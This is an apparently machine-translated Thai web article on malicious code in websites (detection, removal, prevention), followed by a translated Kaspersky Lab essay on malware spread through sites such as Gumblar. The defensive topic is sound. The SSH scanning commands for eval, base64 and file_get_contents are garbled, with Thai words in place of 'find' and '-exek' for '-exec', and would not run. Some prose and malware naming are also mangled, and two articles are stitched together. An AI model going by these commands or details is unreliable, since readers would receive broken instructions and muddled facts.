รหัสที่เป็นอันตรายคืออะไร? รหัสที่เป็นอันตรายคืออะไร ใส่รหัสผ่านที่คาดเดายากบนซอฟต์แวร์เซิร์ฟเวอร์ของคุณ

โค้ดที่เป็นอันตรายคือโค้ดที่รบกวนการทำงานปกติของเว็บไซต์ สามารถฝังอยู่ในธีม ฐานข้อมูล ไฟล์ และปลั๊กอินได้


วิดีโอเพิ่มเติมในช่องของเรา - เรียนรู้การตลาดทางอินเทอร์เน็ตกับ SEMANTICA

ผลลัพธ์ของโค้ดที่เป็นอันตรายอาจเป็นการลบเนื้อหาที่เป็นประโยชน์บางส่วนหรือการเผยแพร่บนแหล่งข้อมูลของบุคคลที่สาม ด้วยวิธีนี้ผู้โจมตีสามารถจัดระเบียบการขโมยเนื้อหาได้ เป็นเรื่องที่น่ารังเกียจอย่างยิ่งหากแหล่งข้อมูลใหม่ที่มีบทความต้นฉบับได้รับผลกระทบจากผลกระทบนี้ คุณอาจรู้สึกว่าเขาขโมยเนื้อหาจากแหล่งข้อมูลระดับสูงกว่า

คุณสามารถวางโค้ดที่เป็นอันตรายในธีมฟรีได้ ลิงก์ที่ซ่อนอยู่ไปยังหน้าบุคคลที่สามที่เครื่องมือค้นหาสามารถเข้าถึงได้ ลิงก์เหล่านี้ไม่ได้เป็นอันตรายเสมอไป แต่รับประกันว่าน้ำหนักของเว็บไซต์หลักจะได้รับผลกระทบ

วัตถุประสงค์ทั่วไปของโค้ดที่เป็นอันตรายทั้งหมดคือการขัดขวางการทำงานของหน้าเว็บ

ภายนอก โค้ดที่เป็นอันตรายจะปรากฏเป็นชุดอักขระที่ไม่เป็นระเบียบ ในความเป็นจริงเบื้องหลังเรื่องไร้สาระนี้มีรหัสเข้ารหัสที่มีลำดับคำสั่ง

โค้ดที่เป็นอันตรายเข้าสู่ไซต์ได้อย่างไร

มีสองวิธีที่โค้ดที่เป็นอันตรายสามารถเข้าสู่เว็บไซต์ได้

1. การดาวน์โหลดไฟล์และปลั๊กอินจากแหล่งข้อมูลที่น่าสงสัยและไม่น่าเชื่อถือ บ่อยครั้งที่ลิงก์ที่เข้ารหัสเจาะเข้าไปในไซต์โดยใช้วิธีการเหล่านี้ รหัสที่ชัดเจนไม่ค่อยเข้าสู่ไซต์ด้วยวิธีนี้

2.ตามด้วยการเจาะ วิธีนี้ถือว่าอันตรายกว่าเนื่องจากการแฮ็กหน้าเว็บทำให้สามารถส่งไม่เพียงแต่รหัส "ครั้งเดียว" แต่ยังรวมถึงโครงสร้างทั้งหมดที่มีองค์ประกอบของโปรแกรมที่เป็นอันตราย (มัลแวร์)

รหัสดังกล่าวทำลายได้ยากมาก เพราะ... สามารถกู้คืนได้หลังจากการถอดออก

กำลังตรวจสอบไซต์เพื่อหาโค้ดที่เป็นอันตราย

ควรจำไว้ว่าโครงสร้างที่ร้ายกาจเหล่านี้สามารถปรากฏได้ไม่เพียง แต่ในหัวข้อที่ใช้งานอยู่เท่านั้น แต่ยังปรากฏในไฟล์ทรัพยากรด้วย มีหลายวิธีในการค้นหา:

  • ด้วยตนเอง ในการดำเนินการนี้ คุณจะต้องเปรียบเทียบเนื้อหาของไฟล์ปัจจุบันทั้งหมดกับข้อมูลสำรองเวอร์ชันที่ไม่ติดไวรัส สิ่งที่แตกต่างกันจะต้องถูกลบออก
  • การใช้ปลั๊กอินความปลอดภัย โดยเฉพาะอย่างยิ่ง WordPress เสนอปลั๊กอิน Wordfence Security มีตัวเลือกในการสแกนไฟล์หน้าเพื่อหาเนื้อหารหัสต่างประเทศ
  • ด้วยความช่วยเหลือจากการสนับสนุนโฮสติ้ง เจ้าของไซต์มีสิทธิ์ติดต่อพวกเขาเพื่อขอสแกนทรัพยากรด้วยโปรแกรมป้องกันไวรัส ด้วยเหตุนี้พวกเขาจะจัดทำรายงานที่แสดงการมีอยู่ของไฟล์ที่ติดไวรัส ไฟล์เหล่านี้สามารถล้างโครงสร้างที่ไม่เกี่ยวข้องได้โดยใช้โปรแกรมแก้ไขข้อความทั่วไป
  • ผ่านการเข้าถึง SSH สู่ไซต์ การค้นหานั้นดำเนินการโดยใช้คำสั่ง:

ค้นหา / ไดเรกทอรีปัจจุบัน หน้า -ประเภท f -iname "*" -exek -"eval" () \; > ./eval.log

ค้นหา / ไดเร็กทอรีหน้าปัจจุบัน - ประเภท f -iname "*" -exek- "base64" () \; > ./base64.log

ค้นหา / ไดเรกทอรีหน้าปัจจุบัน - ประเภท f -iname "*" -exek - "file_get_contents" () \; > ./file_get_contents.log

จากการดำเนินการดังกล่าว จะได้รับข้อมูลเกี่ยวกับไฟล์ที่น่าสงสัย รายการไฟล์เหล่านี้จะถูกเขียนลงในบันทึกที่จัดเก็บไว้ในไดเร็กทอรีปัจจุบัน

  • การตรวจสอบไซต์เพื่อหาโค้ดที่เป็นอันตรายโดยใช้ฟังก์ชัน eval ฟังก์ชัน PHP นี้รันโค้ดใดๆ ก็ได้ แม้แต่โค้ดที่เข้ารหัสก็ตาม เนื่องจากเป็นหนึ่งในอาร์กิวเมนต์ ประเภทการเข้ารหัสจะถูกส่งไปยังอินพุตของฟังก์ชันนี้ (โดยปกติคือ base64_decode หรือ str_rot13) ต้องขอบคุณการใช้การเข้ารหัสยอดนิยมที่ทำให้โค้ดที่เป็นอันตรายดูเหมือนชุดอักขระละตินที่ไม่มีความหมาย

เปิดตัวแก้ไขเพจ

คัดลอกเนื้อหาของไฟล์ function.php ไปยังคลิปบอร์ด

วางลงในอันใดก็ได้ โปรแกรมแก้ไขข้อความ(สมุดบันทึก).

ค้นหาคำสั่ง eval

  • ก่อนที่จะลบโค้ดที่เป็นอันตราย ให้วิเคราะห์พารามิเตอร์ที่ฟังก์ชันคาดว่าจะเป็นอินพุต เพราะ ได้รับพารามิเตอร์ในรูปแบบที่เข้ารหัสและจำเป็นต้องถอดรหัสโดยใช้ตัวถอดรหัส เมื่อคุณรู้จักพารามิเตอร์อินพุตแล้ว คุณสามารถตัดสินใจได้ว่ามันจะไปอยู่ที่ไหนในข้อความของไฟล์ function.php
การลบรหัสที่เป็นอันตราย

เมื่อตรวจพบโค้ดที่เป็นอันตราย คุณเพียงแค่ต้องลบโค้ดดังกล่าวเป็นบรรทัดปกติในไฟล์ข้อความ

การป้องกันโค้ดที่เป็นอันตราย

เพื่อป้องกันการปรากฏตัวของโค้ดที่เป็นอันตรายบนเว็บไซต์ จำเป็นต้องปฏิบัติตามมาตรการป้องกันหลายประการ

ใช้ซอฟต์แวร์ที่ได้รับการพิสูจน์แล้วเท่านั้น:
  • ดาวน์โหลดการแจกแจงจากแหล่งที่เชื่อถือได้เท่านั้น
  • เรียกใช้การอัปเดตซอฟต์แวร์เซิร์ฟเวอร์ในช่วงเวลานี้
  • ทำการตรวจสอบระบบความปลอดภัยของเซิร์ฟเวอร์ของคุณเป็นประจำ
  • ลบสคริปต์การดีบักที่ล้าสมัย
ตั้งรหัสผ่านที่คาดเดายากบนซอฟต์แวร์เซิร์ฟเวอร์ของคุณ:
  • ออกแบบตัวอักษรได้ 12 ตัว รวมตัวเลขและตัวอักษรกรณีต่างๆ
  • สำหรับแต่ละบริการ ให้สร้างรหัสผ่านเฉพาะของคุณเอง
  • เปลี่ยนรหัสผ่านของคุณทุกๆ 3 เดือน
ควบคุมข้อมูลที่ป้อนโดยผู้ใช้:
  • ตั้งค่าตัวกรองมาร์กอัป HTML ในช่องป้อนข้อมูล ซึ่งเนื้อหาจะรวมอยู่ในโค้ดของหน้า
  • จัดระเบียบการตรวจสอบข้อมูลอินพุตฝั่งเซิร์ฟเวอร์เพื่อให้สอดคล้องกับช่วงเวลาที่ยอมรับได้
  • ใช้ WAF Web Application Firewall เป็นเครื่องมือที่มีประสิทธิภาพในการปกป้องเว็บไซต์ของคุณจากการโจมตีของแฮกเกอร์
จำกัดสิทธิ์การเข้าถึงทรัพยากรของคุณ

บล็อกหรือจำกัดการเข้าถึงเครื่องมือการดูแลระบบของกลไกเว็บไซต์ของคุณและฐานข้อมูล นอกจากนี้ ยังบล็อกการเข้าถึงไฟล์การกำหนดค่าและสำเนาสำรองของรหัสการผลิตอีกด้วย

ไซต์เหล่านั้นที่สามารถดาวน์โหลดไฟล์ผู้ใช้จะเสี่ยงต่อการถูกเจาะโค้ดที่เป็นอันตรายดังกล่าวมากที่สุด

1. จัดระเบียบการป้องกันบอท เพื่อจุดประสงค์เหล่านี้ CMS จำนวนมากจึงติดตั้งปลั๊กอินพิเศษ

2. ตั้งค่าการตรวจสอบความถูกต้องของการป้อนข้อมูลของผู้ใช้:

  • ป้องกันการแทรกโค้ด JavaScript ภายในโครงสร้าง t>
  • รักษารายการแท็ก HTML ที่ปลอดภัยและกรองโครงสร้างที่ไม่รวมอยู่ในรายการนี้ออก
  • วิเคราะห์ลิงก์ที่ผู้ใช้ส่ง
  • สำหรับสิ่งนี้ก็มี บริการพิเศษเช่น Safe Browsing API ช่วยให้คุณตรวจสอบความปลอดภัยของเอกสารตาม URL

วิธีป้องกันการวางโค้ดที่เป็นอันตรายโดยไม่ตั้งใจ

  • ตรวจสอบซอฟต์แวร์ที่คุณใช้อย่างระมัดระวัง:

ดาวน์โหลดไลบรารีและส่วนขยาย CMS จากแหล่งที่เชื่อถือได้เท่านั้น และควรมาจากเว็บไซต์อย่างเป็นทางการ

ศึกษาโค้ดของส่วนขยายที่ไม่ได้มาตรฐานที่คุณกำลังจะติดตั้งบนกลไกเว็บไซต์ของคุณ

  • วางโฆษณาของคุณอย่างระมัดระวัง:

เผยแพร่โฆษณาบนไซต์ของคุณที่นำเสนอโดยผู้ลงโฆษณาที่เชื่อถือได้เท่านั้น

พยายามโพสต์เนื้อหาคงที่บนเพจของคุณ

ระวัง โปรแกรมพันธมิตรด้วยบล็อกที่ซ่อนอยู่

การกระจายมัลแวร์ผ่านเว็บไซต์

คอสติน ไรอู, แคสเปอร์สกี้ แลป

การแนะนำ. อาชญากรรมไซเบอร์: แนวโน้มและการพัฒนา

ในช่วงไม่กี่ปีที่ผ่านมา อินเทอร์เน็ตกลายเป็นสถานที่อันตราย เดิมทีสร้างขึ้นสำหรับผู้ใช้จำนวนค่อนข้างน้อย แต่เกินความคาดหมายของผู้สร้างอย่างมาก ปัจจุบันมีผู้ใช้อินเทอร์เน็ตมากกว่า 1.5 พันล้านคนทั่วโลก และจำนวนดังกล่าวก็เพิ่มขึ้นอย่างต่อเนื่องเมื่อเทคโนโลยีเข้าถึงได้มากขึ้น

อาชญากรยังสังเกตเห็นแนวโน้มนี้และตระหนักได้อย่างรวดเร็วว่าการก่ออาชญากรรมโดยใช้อินเทอร์เน็ต (ปัจจุบันเรียกว่าอาชญากรรมไซเบอร์) มีข้อได้เปรียบที่สำคัญหลายประการ

ประการแรก อาชญากรรมในโลกไซเบอร์ไม่มีความเสี่ยงมากนัก เนื่องจากไม่มีอุปสรรคทางภูมิรัฐศาสตร์ จึงเป็นเรื่องยากสำหรับหน่วยงานบังคับใช้กฎหมายที่จะจับอาชญากรได้ นอกจากนี้ การสืบสวนและการดำเนินคดีระหว่างประเทศต้องใช้เงินจำนวนมาก ดังนั้นการดำเนินการดังกล่าวจึงมักดำเนินการเฉพาะในกรณีพิเศษเท่านั้น ประการที่สอง อาชญากรรมในโลกไซเบอร์เป็นเรื่องง่าย: อินเทอร์เน็ตมี "คำแนะนำ" จำนวนมากสำหรับการแฮ็กคอมพิวเตอร์และการเขียนไวรัส โดยไม่ต้องมีความรู้หรือประสบการณ์พิเศษใดๆ สิ่งเหล่านี้เป็นปัจจัยหลักสองประการที่ทำให้อาชญากรรมในโลกไซเบอร์กลายเป็นอุตสาหกรรมที่มีมูลค่าหลายพันล้านดอลลาร์และเป็นระบบนิเวศแบบปิดอย่างแท้จริง

ทั้งบริษัทรักษาความปลอดภัยข้อมูลและผู้ผลิตซอฟต์แวร์ต่างก็ต่อสู้กับอาชญากรรมทางไซเบอร์อยู่ตลอดเวลา เป้าหมายของพวกเขาคือการให้การป้องกันที่เชื่อถือได้แก่ผู้ใช้อินเทอร์เน็ตและสร้างความปลอดภัย ซอฟต์แวร์. ในทางกลับกัน ผู้โจมตีจะเปลี่ยนกลยุทธ์อยู่ตลอดเวลาเพื่อตอบโต้มาตรการรับมือ ซึ่งส่งผลให้เกิดแนวโน้มที่แตกต่างกันสองประการ

ประการแรก มัลแวร์ถูกปรับใช้โดยใช้ช่องโหว่แบบซีโรเดย์ เช่น ช่องโหว่ที่ยังไม่ได้สร้างแพตช์ ด้วยความช่วยเหลือจากช่องโหว่ดังกล่าว ระบบคอมพิวเตอร์ซึ่งได้รับการติดตั้งทั้งหมดแล้ว อัพเดทล่าสุดแต่ไม่มีวิธีป้องกันพิเศษ ช่องโหว่แบบ Zero-day เป็นสินค้าที่มีค่า (การแสวงหาประโยชน์จากช่องโหว่เหล่านี้อาจนำไปสู่ผลกระทบร้ายแรง) และถูกขายในตลาดมืดในราคานับหมื่นดอลลาร์

ประการที่สอง เราเห็นจำนวนมัลแวร์ที่เพิ่มขึ้นอย่างมากซึ่งออกแบบมาเพื่อขโมยข้อมูลที่ละเอียดอ่อนโดยเฉพาะเพื่อวัตถุประสงค์ในการขายในตลาดมืด: หมายเลขบัตรเครดิต รายละเอียดธนาคาร รหัสผ่านสำหรับไซต์เช่น eBay หรือ PayPal และแม้แต่รหัสผ่านออนไลน์ -เกม เช่น World of Warcraft

สาเหตุที่ชัดเจนประการหนึ่งที่ทำให้เกิดอาชญากรรมทางไซเบอร์ในปริมาณมากก็คือความสามารถในการทำกำไร ซึ่งจะเป็นตัวขับเคลื่อนในการสร้างเทคโนโลยีอาชญากรรมทางไซเบอร์ใหม่ๆ อยู่เสมอ

นอกเหนือจากการพัฒนาที่ดำเนินการเพื่อสนองความต้องการของอาชญากรไซเบอร์แล้ว เรายังสังเกตเห็นแนวโน้มอีกประการหนึ่งคือการแพร่กระจายของมัลแวร์ผ่าน เวิลด์ไวด์เว็บ. หลังจากการระบาดเมื่อต้นทศวรรษนี้ซึ่งเกิดจากเวิร์มอีเมล เช่น Melissa บริษัทรักษาความปลอดภัยหลายแห่งได้มุ่งเน้นความพยายามในการพัฒนาโซลูชันที่สามารถต่อต้านไฟล์แนบที่เป็นอันตรายได้ ซึ่งบางครั้งอาจทำให้ข้อความลบไฟล์แนบที่ปฏิบัติการได้ทั้งหมด

อย่างไรก็ตาม เมื่อเร็ว ๆ นี้ เครือข่ายได้กลายเป็นแหล่งหลักของการแพร่กระจายมัลแวร์ โปรแกรมที่เป็นอันตรายจะถูกวางบนเว็บไซต์ จากนั้นผู้ใช้รายใดรายหนึ่งจะถูกหลอกให้เรียกใช้โปรแกรมเหล่านั้นด้วยตนเอง หรือโปรแกรมจะถูกดำเนินการโดยอัตโนมัติโดยใช้ช่องโหว่บนคอมพิวเตอร์ที่ติดไวรัส

พวกเราที่ Kaspersky Lab กำลังเฝ้าดูสิ่งที่เกิดขึ้นด้วยความกังวลที่เพิ่มมากขึ้น

สถิติ

ในช่วงสามปีที่ผ่านมา เราได้เฝ้าติดตามสิ่งที่เรียกว่าเว็บไซต์ที่ปลอดภัย (ระหว่าง 100,000 ถึง 300,000 แห่ง) เพื่อพิจารณาว่าจุดใดที่พวกเขากลายเป็นฮอตสปอตของมัลแวร์ จำนวนไซต์ที่ได้รับการตรวจสอบเพิ่มขึ้นอย่างต่อเนื่องเมื่อมีการจดทะเบียนโดเมนใหม่

ตารางแสดงอัตราการติดไวรัสสูงสุดที่บันทึกไว้ของหน้าเว็บที่มีการตรวจสอบตลอดทั้งปี สัดส่วนของไซต์ที่ติดไวรัสเพิ่มขึ้นอย่างรวดเร็วอย่างเห็นได้ชัด: หากในปี 2549 ประมาณทุกไซต์จากสองหมื่นติดไวรัส จากนั้นในปี 2552 ทุกไซต์จากหนึ่งร้อยห้าสิบก็ติดไวรัสแล้ว เปอร์เซ็นต์ของไซต์ที่ติดไวรัสจะผันผวนตามตัวเลขล่าสุดนี้ ซึ่งอาจบ่งบอกว่าถึงจุดอิ่มตัวแล้ว: เว็บไซต์ทั้งหมดที่อาจติดไวรัสติดไวรัสแล้ว อย่างไรก็ตาม จำนวนของมันจะเพิ่มขึ้นหรือลดลงเมื่อมีการค้นพบช่องโหว่ใหม่หรือมีเครื่องมือใหม่ที่ช่วยให้ผู้โจมตีแพร่ระบาดไปยังเว็บไซต์ใหม่ได้

ตารางสองตารางต่อไปนี้ให้ข้อมูลเกี่ยวกับมัลแวร์ที่พบบ่อยที่สุดบนเว็บไซต์ในปี 2008 และ 2009

มัลแวร์ 10 อันดับแรก – 2008

มัลแวร์ 10 อันดับแรก – 2009

ในปี 2008 Trojan-Clicker.JS.Agent.h ถูกค้นพบในหลายกรณี ตามด้วย Trojan-Downloader.JS.Iframe.oj โดยมีระยะขอบน้อยกว่า 1%


เพจที่ติด Trojan-Clicker.JS.Agent.h

ถอดรหัส Trojan-Clicker.JS.Agent.h

Trojan-Clicker.JS.Agent.h เป็นตัวอย่างทั่วไปของกลไกที่ใช้ในปี 2551 และยังคงใช้อยู่ (ในปี 2552) เพื่อแทรกโค้ดที่เป็นอันตราย มีการเพิ่มโค้ด JavaScript ชิ้นเล็กๆ ลงในหน้า ซึ่งโดยปกติจะมีความซับซ้อนเพื่อทำให้การวิเคราะห์ทำได้ยาก ในโค้ดที่แสดงในรูปด้านบน การสร้างความสับสนนั้นประกอบด้วยการแทนที่อักขระ ASCII ที่ประกอบเป็นโค้ดที่เป็นอันตรายด้วยโค้ดเลขฐานสิบหก เมื่อถอดรหัสแล้ว โค้ดมักจะปรากฏเป็นเฟรมลอย (iframe) ซึ่งนำไปสู่ไซต์ที่มีช่องโหว่อยู่ ที่อยู่ IP ที่ลิงก์ชี้ไปอาจเปลี่ยนแปลงเมื่อมีการโพสต์การหาประโยชน์บนเว็บไซต์ต่างๆ หน้าหลักของไซต์ที่เป็นอันตรายมักจะมีช่องโหว่สำหรับ IE, Firefox และ Opera Trojan-Downloader.JS.Iframe.oj ซึ่งเป็นมัลแวร์ที่ใช้บ่อยที่สุดเป็นอันดับสอง ทำงานในลักษณะเดียวกัน

มีสองกรณีที่น่าสนใจในปี 2552 ที่มีการแพร่กระจายมัลแวร์ผ่านหน้าเว็บ ในกรณีแรก เรากำลังพูดถึงมัลแวร์ Net-Worm.JS.Aspxor.a ซึ่งถูกค้นพบครั้งแรกในเดือนกรกฎาคม พ.ศ. 2551 และแพร่กระจายอย่างกว้างขวางในปี พ.ศ. 2552 มัลแวร์นี้ใช้ ยูทิลิตี้พิเศษค้นหาช่องโหว่ของ SQL บนเว็บไซต์ที่มีการแทรก iframe ที่เป็นอันตราย

อีกกรณีที่น่าสนใจคือมัลแวร์กัมพลาร์ ตั้งชื่อตามโดเมนภาษาจีนที่ใช้ในการเผยแพร่การหาประโยชน์ สตริง “gumblar” ในโค้ด JavaScript ที่สร้างความสับสนบนเว็บไซต์เป็นสัญญาณที่ชัดเจนว่าไซต์นั้นติดไวรัส


ตัวอย่างการฝังโค้ด Gumblar ลงในหน้าเว็บไซต์

หลังจากการถอดรหัสที่สร้างความสับสน โค้ดที่เป็นอันตราย Gumblar จะมีลักษณะดังนี้:


ถอดรหัสกัมบลาร์โค้ด

โดเมน “gumblar.cn” ถูกปิด ซึ่งอย่างไรก็ตามไม่ได้ป้องกันอาชญากรไซเบอร์จากการโจมตีที่เป็นอันตรายอย่างต่อเนื่องจากโดเมนใหม่

วิธีการติดเชื้อและวิธีการแพร่กระจาย

ปัจจุบันมีสามวิธีหลักในการทำให้เว็บไซต์ติดมัลแวร์

วิธีแรกที่ได้รับความนิยมคือการหาประโยชน์จากช่องโหว่ในเว็บไซต์ ตัวอย่างเช่น การแทรก SQL ซึ่งช่วยให้คุณสามารถเพิ่มโค้ดที่เป็นอันตรายลงในหน้าเว็บไซต์ได้ เครื่องมือโจมตี เช่น ASPX หรือโทรจันแสดงให้เห็นอย่างชัดเจนถึงวิธีการทำงานของวิธีนี้ โดยสามารถใช้เพื่อสแกนจำนวนมากและแทรกโค้ดที่เป็นอันตรายไปยังที่อยู่ IP นับพันรายการพร้อมกันได้ ร่องรอยของการโจมตีดังกล่าวมักจะเห็นได้ในบันทึกการเข้าถึงเว็บเซิร์ฟเวอร์

วิธีที่สองเกี่ยวข้องกับการติดมัลแวร์ในคอมพิวเตอร์ของนักพัฒนาเว็บไซต์ ซึ่งจะตรวจสอบการสร้างและการดาวน์โหลดไฟล์ HTML จากนั้นจึงแทรกโค้ดที่เป็นอันตรายลงในไฟล์เหล่านั้น

สุดท้าย อีกวิธีหนึ่งคือการแพร่เชื้อคอมพิวเตอร์ของผู้พัฒนาเว็บไซต์หรือบุคคลอื่นที่สามารถเข้าถึงบัญชีโฮสติ้งด้วยโทรจันขโมยรหัสผ่าน (เช่น Ransom.Win32.Agent.ey) โดยทั่วไปโทรจันนี้จะเข้าถึงเซิร์ฟเวอร์ผ่าน HTTP เพื่อส่งรหัสผ่านบัญชี FTP ซึ่งรวบรวมจากไคลเอนต์ FTP ยอดนิยมเช่น FileZilla และ CuteFtp ส่วนประกอบมัลแวร์ที่อยู่บนเซิร์ฟเวอร์จะเขียนข้อมูลที่ได้รับไปยังฐานข้อมูล ข้อมูล SQL. แล้ว โปรแกรมพิเศษซึ่งอยู่บนเซิร์ฟเวอร์เช่นกัน จะดำเนินการตามขั้นตอนการเข้าสู่ระบบสำหรับทุกคน บัญชี FTP ดึงข้อมูลหน้าดัชนี เพิ่มโค้ดที่ติดไวรัสโทรจันที่นั่น และดาวน์โหลดหน้านั้นกลับมา

เนื่องจากในกรณีหลังนี้ ผู้โจมตีจะทราบข้อมูลบัญชีกับผู้ให้บริการโฮสติ้ง ไซต์มักจะติดไวรัสอีกครั้ง: นักพัฒนาหน้าเว็บสังเกตเห็นการติดไวรัสด้วยตนเองหรือเรียนรู้เกี่ยวกับมันจากผู้เยี่ยมชมไซต์ ทำความสะอาดหน้าโค้ดที่เป็นอันตราย และในวันถัดไป เพจปรากฏว่าติดไวรัสอีกครั้ง


ตัวอย่างการติดไวรัสหน้าเว็บซ้ำ (*.*.148.240)

สถานการณ์ทั่วไปอีกประการหนึ่งคือเมื่อข้อมูลเกี่ยวกับช่องโหว่เดียวกันหรือข้อมูลบัญชีโฮสติ้งตกอยู่ในมือของกลุ่มไซเบอร์ต่าง ๆ พร้อมกัน ซึ่งการต่อสู้เริ่มต้นขึ้น แต่ละกลุ่มพยายามแพร่ระบาดเว็บไซต์ด้วยมัลแวร์ของตัวเอง นี่คือตัวอย่างของสถานการณ์ดังกล่าว:


ตัวอย่างการติดมัลแวร์หลายครั้งในเว็บไซต์ (*.*.176.6)

เมื่อวันที่ 11 มิถุนายน 2552 เว็บไซต์ที่เรากำลังตรวจสอบนั้นสะอาด เมื่อวันที่ 5 กรกฎาคม 2552 เกิดการติดเชื้อมัลแวร์ Trojan-Clicker.JS.Agent.gk เมื่อวันที่ 15 กรกฎาคม 2552 เว็บไซต์ดังกล่าวติดมัลแวร์ตัวอื่น Trojan-Downloader.JS.Iframe.bin สิบวันต่อมา ไซต์ดังกล่าวติดโปรแกรมอื่น

สถานการณ์นี้เกิดขึ้นค่อนข้างบ่อย: เว็บไซต์สามารถติดมัลแวร์ต่าง ๆ พร้อม ๆ กัน โดยโค้ดจะถูกวางเรียงกัน สิ่งนี้เกิดขึ้นเมื่อข้อมูลการเข้าถึงตกอยู่ในมือของกลุ่มไซเบอร์ต่างๆ

ด้านล่างนี้คือลำดับการดำเนินการที่ต้องดำเนินการหากเว็บไซต์ติดโค้ดที่เป็นอันตราย:

  • กำหนดผู้ที่มีสิทธิ์เข้าถึงเซิร์ฟเวอร์โฮสติ้ง เรียกใช้โปรแกรมความปลอดภัยทางอินเทอร์เน็ตโดยสแกนคอมพิวเตอร์ด้วยฐานข้อมูลที่ทันสมัย ลบมัลแวร์ที่ตรวจพบทั้งหมด
  • ตั้งรหัสผ่านโฮสติ้งใหม่ที่แข็งแกร่ง รหัสผ่านที่แข็งแกร่งจะต้องประกอบด้วยสัญลักษณ์ ตัวเลข และอักขระพิเศษทำให้เลือกได้ยาก
  • แทนที่ไฟล์ที่ติดไวรัสทั้งหมดด้วยสำเนาที่สะอาด
  • ค้นหาข้อมูลสำรองทั้งหมดที่อาจมีไฟล์ที่ติดไวรัสและฆ่าเชื้อ

ประสบการณ์ของเราแสดงให้เห็นว่าเว็บไซต์ที่ติดไวรัสมักติดไวรัสซ้ำหลังการรักษา ในทางกลับกัน สิ่งนี้มักจะเกิดขึ้นเพียงครั้งเดียว: หากหลังจากการติดไวรัสครั้งแรก ผู้ดูแลเว็บสามารถจำกัดตัวเองให้ดำเนินการอย่างผิวเผินได้ ในกรณีที่มีการติดเชื้อครั้งที่สอง เขามักจะใช้มาตรการที่จริงจังมากขึ้นเพื่อรับรองความปลอดภัยของเว็บไซต์

วิวัฒนาการ: การวางมัลแวร์บนเว็บไซต์ที่ “สะอาด”

เมื่อสองสามปีที่แล้ว เมื่ออาชญากรไซเบอร์เริ่มใช้งานเว็บเพื่อโฮสต์มัลแวร์ พวกเขามักจะดำเนินการผ่านโฮสติ้งที่เรียกว่า bulletproof หรือผ่านการโฮสต์โดยที่พวกเขาชำระเงินด้วยบัตรเครดิตที่ถูกขโมย เมื่อสังเกตเห็นแนวโน้มนี้ บริษัทที่ทำงานด้านความปลอดภัยทางอินเทอร์เน็ตจึงได้ผนึกกำลังในการต่อสู้กับผู้ให้บริการโฮสติ้งที่ไร้หลักการซึ่งยอมให้วางทรัพยากรที่เป็นอันตรายได้ (เช่น McColo ผู้ให้บริการโฮสติ้งในอเมริกา และ EstDomains ผู้ให้บริการเอสโตเนีย และแม้ว่าทุกวันนี้ยังมีกรณีอยู่บ้าง เมื่อมัลแวร์ถูกโฮสต์โดยเฉพาะบนไซต์ที่เป็นอันตราย เช่น ในประเทศจีน ซึ่งยังคงเป็นเรื่องยากที่จะปิดไซต์ มีการเปลี่ยนแปลงที่สำคัญในการโฮสต์มัลแวร์บนโดเมนที่ "สะอาด" และน่าเชื่อถือโดยสมบูรณ์

การกระทำและปฏิกิริยา

ดังที่เราได้กล่าวไปแล้ว หนึ่งในแง่มุมที่สำคัญที่สุดของการต่อสู้อย่างต่อเนื่องระหว่างอาชญากรไซเบอร์และผู้จำหน่ายแอนติไวรัสคือความสามารถในการตอบสนองต่อสิ่งที่ศัตรูกำลังทำได้อย่างรวดเร็ว ทั้งสองฝ่ายกำลังเปลี่ยนยุทธวิธีและแนะนำเทคโนโลยีใหม่ ๆ อยู่ตลอดเวลาเพื่อพยายามตอบโต้ศัตรู

เว็บเบราว์เซอร์ส่วนใหญ่ (Firefox 3.5, Chrome 2.0 และ อินเทอร์เน็ตเอ็กซ์พลอเรอร์ 8.0) ขณะนี้มีการป้องกันในตัวในรูปแบบของตัวกรอง URL ตัวกรองนี้ป้องกันไม่ให้ผู้ใช้เข้าถึงไซต์ที่เป็นอันตรายซึ่งมีช่องโหว่ที่ทราบหรือไม่ทราบ หรือใช้เทคนิควิศวกรรมสังคมเพื่อขโมยข้อมูลส่วนบุคคล

ตัวอย่างเช่น Firefox และ Chrome ใช้ Google Safe Browsing API บริการฟรีจาก Google สำหรับการกรอง URL ในขณะที่เขียนรายการ Google Safe Browsing API มีที่อยู่เว็บไซต์ที่เป็นอันตรายที่ทราบประมาณ 300,000 แห่ง และที่อยู่เว็บไซต์ฟิชชิ่งมากกว่า 20,000 แห่ง

Google Safe Browsing API ใช้แนวทางอันชาญฉลาดในการกรอง URL: แทนที่จะส่ง URL แต่ละรายการไปยังแหล่งข้อมูลภายนอกเพื่อตรวจสอบ เช่นเดียวกับตัวกรองฟิชชิ่งของ Internet Explorer 8 Google Safe Browsing จะตรวจสอบ URL โดยใช้เช็คซัม คำนวณโดยใช้อัลกอริทึม MD5 เพื่อให้วิธีการกรองนี้มีประสิทธิภาพ รายการ เช็คซัมที่อยู่ที่เป็นอันตรายจะต้องได้รับการอัปเดตเป็นประจำ แนะนำให้อัปเดตทุกๆ 30 นาที ข้อเสียของวิธีนี้คือจำนวนเว็บไซต์ที่เป็นอันตรายมากกว่าจำนวนรายการในรายการ เพื่อเพิ่มประสิทธิภาพขนาดของรายการ (ปัจจุบันมีขนาดประมาณ 12 MB) จะมีเฉพาะไซต์ที่เป็นอันตรายที่พบบ่อยที่สุดเท่านั้นที่จะถูกรวมไว้ที่นั่น ซึ่งหมายความว่าแม้ว่าคุณจะใช้แอปพลิเคชันที่รองรับเทคโนโลยีเหล่านี้ คอมพิวเตอร์ของคุณยังคงเสี่ยงต่อการติดไวรัสหากคุณเยี่ยมชมไซต์ที่เป็นอันตรายซึ่งไม่รวมอยู่ในรายการ โดยรวมแล้ว การนำเทคโนโลยีการท่องเว็บที่ปลอดภัยมาใช้อย่างแพร่หลายแสดงให้เห็นว่านักพัฒนาเว็บเบราว์เซอร์ได้สังเกตเห็นแนวโน้มใหม่ของมัลแวร์ที่แพร่กระจายผ่านเว็บไซต์ และกำลังดำเนินการเพื่อตอบสนอง ในความเป็นจริง เว็บเบราว์เซอร์ที่มีการรักษาความปลอดภัยในตัวกำลังกลายเป็นเรื่องปกติไปแล้ว

บทสรุป

ในช่วงสามปีที่ผ่านมา มีเว็บไซต์ที่ถูกกฎหมายติดมัลแวร์เพิ่มขึ้นอย่างมาก ปัจจุบัน จำนวนไซต์ที่ติดไวรัสบนอินเทอร์เน็ตเพิ่มขึ้นกว่าสามปีที่แล้วถึงหนึ่งร้อยเท่า เว็บไซต์ที่เข้าชมบ่อยนั้นน่าดึงดูดสำหรับอาชญากรไซเบอร์ เนื่องจากสามารถใช้เพื่อแพร่ระบาดในคอมพิวเตอร์จำนวนมากได้ในเวลาอันสั้น

